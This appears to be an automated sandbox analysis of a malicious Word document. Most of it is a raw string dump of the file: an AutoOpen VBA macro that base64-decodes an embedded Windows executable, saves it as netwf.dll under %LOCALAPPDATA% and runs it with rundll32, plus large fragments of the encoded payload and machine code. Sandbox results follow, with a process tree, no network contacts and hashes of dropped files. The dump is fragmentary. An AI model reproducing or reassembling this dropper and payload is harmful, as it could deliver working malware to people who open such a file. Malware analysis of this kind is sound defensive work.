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+QAQ6Jiq//+LXQiD+/51G+jKof//gyAA6K+h///HAAkAAACDyP/phAAAAIXbeAg7HSg6ARByGuijof//gyAA6Iih///HAAkAAADoN6r//+vSi8PB+AWNPIVAOgEQi/OD5h/B5gaLBw++RDAEg+ABdMZT6KDq//9Zg2X8AIsH9kQwBAF0DFPo1f7//1mJReTrD+g2of//xwAJAAAAg03k/8dF/P7////oDAAAAItF5Ogxqv//w4tdCFPo+Or//1nDi/9Vi+xTi10MVot1CIvGwfgFjRSFQDoBEIsKg+YfweYGA86KQSQCwFcPtnkED77AgeeAAAAA0fiB+wBAAAB0UIH7AIAAAHRCgfsAAAEAdCaB+wAAAgB0HoH7AAAEAHU9gEkEgIsKjUwxJIoRgOKBgMoBiBHrJ4BJBICLCo1MMSSKEYDigoDKAuvogGEEf+sNgEkEgIsKjUwxJIAhgIX/X15bdQe4AIAAAF3D99gbwCUAwAAABQBAAABdw4v/VYvsi0UIhcB1FehAoP//xwAWAAAA6O+o//9qFlhdw4sNIDoBEIkIM8Bdw4v/VYvsuP//AACD7BRmOUUID4SHAAAAU1b/dQyNTezoDMj//4t17ItOFDPbO8t1FYtFCI1Iv2aD+Rl3BGaDwCAPt8DrS7gAAQAAagFmOUUIcx7/dQjorggAAFmFwA+3RQhZdCyLjswAAAAPtgQB6yCNVfxSagGNVQhSUFHoRAkAAIPEGIXAD7dFCHQED7dF/Dhd+HQHi030g2Fw/V5bycOL/1WL7FaLdQiF9g+EYwMAAP92BOjphv///3YI6OGG////dgzo2Yb///92EOjRhv///3YU6MmG////dhjowYb///826LqG////diDosob///92JOiqhv///3Yo6KKG////dizomob///92MOiShv///3Y06IqG////dhzogob///92OOh6hv///3Y86HKG//+DxED/dkDoZ4b///92ROhfhv///3ZI6FeG////dkzoT4b///92UOhHhv///3ZU6D+G////dljoN4b///92XOgvhv///3Zg6CeG////dmToH4b///92aOgXhv///3Zs6A+G////dnDoB4b///92dOj/hf///3Z46PeF////dnzo74X//4PEQP+2gAAAAOjhhf///7aEAAAA6NaF////togAAADoy4X///+2jAAAAOjAhf///7aQAAAA6LWF////tpQAAADoqoX///+2mAAAAOifhf///7acAAAA6JSF////tqAAAADoiYX///+2pAAAAOh+hf///7aoAAAA6HOF////trwAAADoaIX///+2wAAAAOhdhf///7bEAAAA
Title
_PID_LINKBASE
_PID_HLINKS
*\G{0002`0430-
0046}
#2.0#0#C
:\Window
e2.tl
b#OLE Au
!G{2D
F8D04C-5
gram Fil
Micros
oft Shar
ed\OFFIC
5.0 Obje
base64q
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
add leading zeroes, lengt of hex = 6:
split hex number into 3 groups, 2 hex characters each:A
extract and decode encoded file
Subject
Company
Category
Hyperlink base
Comments
save decoded file
LOCALAPPDATA$
netwf
LOCALAPPDATA$
netwf
LOCALAPPDATA$
netwf
.exe
,KlpSvc
Attribut
e VB_Nam
e = "New
Sub Aut
Functio
n Decode
ABCDEFGH
IJKLMNOP
QRSTUVWX
YZabcdef
ghijklmn
opqrstuv
wxyz0123
If 0` <> L
o`utput
, vbB
add lead
veDoc
Environ(
"LOCALAP PDATA
Attribut
e VB_Nam
e = "Thi
Pre decla
ThisDocument
NewMacros
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
finalnoshadow
Picture 36
finalnoshadow
ccdcoe-cmyk_horizontal-short
Picture 35
ccdcoe-cmyk_horizontal-short
ccdcoe-cmyk_suured2
Adobe Photoshop
Adobe Photoshop CS2
TCS_IEEECS Logo
Picture 34
TCS_IEEECS Logo
TCS_IEEECS
Adobe Photoshop
Adobe Photoshop CS3
Normal
Heading 2
Default Paragraph Font
Table Normal
No List
Heading 2 Char
Normal (Web)
Strong
Emphasis
Hyperlink
List Paragraph
DOCUMENT.NEWMACROS.AUTOOPEN
Times New Roman
Symbol
Arial
Verdana
Calibri
Cambria Math
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACseA3F6BljlugZY5boGWOWh2/IlsEZY5aHb
Nick Daemoji
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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
https://ccdcoe.org/
http://cyber.army.mil/
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Xacros
__SRP_0
__SRP_1
__SRP_2
__SRP_3
NewMacros
ThisDocument
XVBA_PROJECT
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
}#8.6#0#C:\Program Files\Microsoft Office\Office15\MSWORD.OLB#Microsoft Word 15.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.7#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE15\MSO.DLL#Microsoft Office 15.0 Object Library
PROJECT
PROJECTwm
CompObj
tThisDocument
sNewMacros
This file is not on VirusTotal.

Process Tree


WINWORD.EXE, PID: 1184, Parent PID: 2584
Full Path: C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Command Line: "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" "C:\Users\user\AppData\Local\Temp\UUNFfP8FMSDGQ.doc" /q
explorer.exe, PID: 1708, Parent PID: 1660
Full Path: C:\Windows\explorer.exe
Command Line: C:\Windows\Explorer.EXE
splwow64.exe, PID: 2444, Parent PID: 1184
Full Path: C:\Windows\splwow64.exe
Command Line: C:\Windows\splwow64.exe 12288

Hosts

No hosts contacted.

TCP

No TCP connections recorded.

UDP

No UDP connections recorded.

DNS

No domains contacted.

HTTP Requests

No HTTP requests performed.

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Suricata HTTP

No Suricata HTTP

Sorry! No dropped Suricata Extracted files.

JA3

No JA3 hashes found.

File name CVR52A2.tmp.cvr
Associated Filenames
C:\Users\user\AppData\Local\Temp\CVR52A2.tmp.cvr
File Size 0 bytes
File Type empty
MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
CRC32 00000000
Ssdeep 3::
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file
File name Normal.dotm
Associated Filenames
C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm
File Size 20381 bytes
File Type Microsoft Word 2007+
MD5 23f4c984d111e7c0851f13b5a39e23bf
SHA1 f0b6cf9e53e9b5396275341984cb781ee9c52e80
SHA256 3ade1df494b161cd3616664ccf82d732eea6a648eefe4bfdc285c21be9e51966
CRC32 B554EAE8
Ssdeep 384:Pjl7/J/5ehBcSV+qEPG6yGUTBIOoX4+hD9Qn6eF7y1SFmlEeP:d/JQoG2vX4+hD9IZY
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file
File name ~$NFfP8FMSDGQ.doc
Associated Filenames
C:\Users\user\AppData\Local\Temp\~$NFfP8FMSDGQ.doc
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
File Size 162 bytes
File Type data
MD5 69ed3e720ff1c2155c9bcbd724ee6d3b
SHA1 031b58336d9c551ff99f558c7b1a97c6dd057cf6
SHA256 d96d920c0cdb1946e287bb47ffd7c40e559e36d5ad164fa71b4e84ed8b06e2f4
CRC32 66F182CC
Ssdeep 3:2H/9lyX/3L7YMlbK7g7lxItPFz+l:wVSlxK7ghq9za
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file
File name CUSTOM.DIC
Associated Filenames
C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
File Size 2 bytes
File Type Little-endian UTF-16 Unicode text, with no line terminators
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
CRC32 88F83096
Ssdeep 3:Qn:Qn
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file Display Text
\xff\xfe
File name ~WRS{A8D7BD75-6381-4EA3-AC95-17CF8662F5C4}.tmp
Associated Filenames
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A8D7BD75-6381-4EA3-AC95-17CF8662F5C4}.tmp
File Size 1024 bytes
File Type data
MD5 5d4d94ee7e06bbb0af9584119797b23a
SHA1 dbb111419c704f116efa8e72471dd83e86e49677
SHA256 4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1
CRC32 23C03491
Ssdeep 3:ol3lYdn:4Wn
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file
File name Word14.customUI
Associated Filenames
C:\Users\user\AppData\Local\Microsoft\Office\Word14.customUI
File Size 3513 bytes
File Type Microsoft OOXML
MD5 b022439244ee91625c99a91c666eb0fb
SHA1 84a647b0bc5457c74c631361e8fad1dadd0852c8
SHA256 2a439ab0ccf43f70f80f6b929f9ea29ac6a6666b9abce9921105dc72e7fda8ca
CRC32 CC7E186E
